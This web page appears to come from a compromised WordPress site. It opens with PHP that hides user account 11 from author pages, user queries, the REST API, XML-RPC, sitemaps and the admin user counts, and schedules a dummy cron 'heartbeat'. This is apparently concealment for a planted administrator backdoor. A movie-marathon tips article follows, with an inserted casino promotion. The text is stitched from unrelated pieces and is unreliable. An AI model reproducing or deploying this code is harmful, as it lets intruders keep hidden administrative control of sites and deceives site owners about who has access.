add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 11;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 11;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 11;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 11;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 11;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Start by deciding on a theme—maybe a decade, a director, or a genre. For a 4‑hour block, pick two to three movies that flow together. If you’re doing a “90s action” marathon, pick Die Hard (1988), Terminator 2 (1991), and Speed (1994). Keep the total runtime under 6 hours to avoid fatigue; that’s about 120 minutes per film on average. If you’re a fan of a single director, go for a trilogy or a curated set of their best works—just make sure the pacing stays steady.
Don’t forget the “surprise” element. Slip in a cult classic or a hidden gem that even casual viewers might not know. It keeps the vibe fresh and gives you a moment to brag about the find.
Comfort is king. Use a recliner or a bean‑bag that lets you sink in without strain. Arrange pillows like a small nest—about five to seven per person if you’re sharing the space. Keep the room at 68°F; it’s cool enough to stay awake but warm enough to feel cozy.
Lighting should mimic a cinema’s dim glow. Place a LED strip behind the screen or use a smart bulb set to 300 lumens. Avoid harsh overhead lights; they’ll wash out the screen and break immersion. If you’re watching on a projector, add a blackout curtain to block out street light.
Sound is crucial. A soundbar with a subwoofer can deliver punchy bass without needing a full surround system. Aim for 70–75 dB at ear level—high enough to feel the action, low enough to keep you from yelling at the TV.
Popcorn is the default, but the seasoning matters. A simple butter‑salt mix is classic, but try a caramel drizzle or a sprinkle of smoked paprika for a twist. Measure out a 2‑cup batch per person; that’s enough for a 4‑hour marathon without over‑cooking.
Complement with a snack bar: sliced cucumber, hummus, and a handful of almonds. These keep you full without the sugar crash that can derail late‑night viewing. Hydration is key—set a 2‑liter water bottle on the table and refill every hour.
Check your internet speed before you start. A 25 Mbps connection is the minimum for 4K streaming; if you’re using a smart TV, make sure the firmware is up to date. Create a playlist on your streaming platform so the next movie starts automatically—no awkward pauses.
Have a backup device ready. A second tablet or a laptop can serve as a failsafe if the main screen crashes. Store a spare USB drive with the movies you want to watch; that way you’re not stuck waiting for a buffer.
Every 90 minutes, pause for a five‑minute stretch. Stand, walk around, and do a quick shoulder roll. This keeps circulation up and prevents the “movie fatigue” that creeps in after long periods of sitting.
During the break, offer a quick snack—think cheese cubes, grapes, or a slice of pizza. This gives you a chance to chat about the last film, set expectations for the next, and keep the energy alive.

If you’re craving a different kind of entertainment after the marathon, consider switching gears to a virtual experience that keeps the excitement alive. Rivo Live Casino offers a chance to test your luck and enjoy live dealers from the comfort of your living room, blending the thrill of gaming with the convenience of home.
After the final credits roll, take a moment to jot down which films you’d recommend and why. Share your thoughts on social media or with friends; the conversation often lasts longer than the marathon itself.
When you’re ready for the next weekend escape, start planning a new theme or revisit an old favorite. The key is to keep the process fun, not stressful, so you’ll always look forward to those long, lazy evenings of cinematic bliss.
It offers uninterrupted entertainment, a break from routine, and the chance to fully immerse in a favorite genre or theme.
A 4–6 hour block works best; it’s long enough for depth but short enough to avoid fatigue.
Popcorn, nachos, and easy finger foods keep energy high without messy dishes.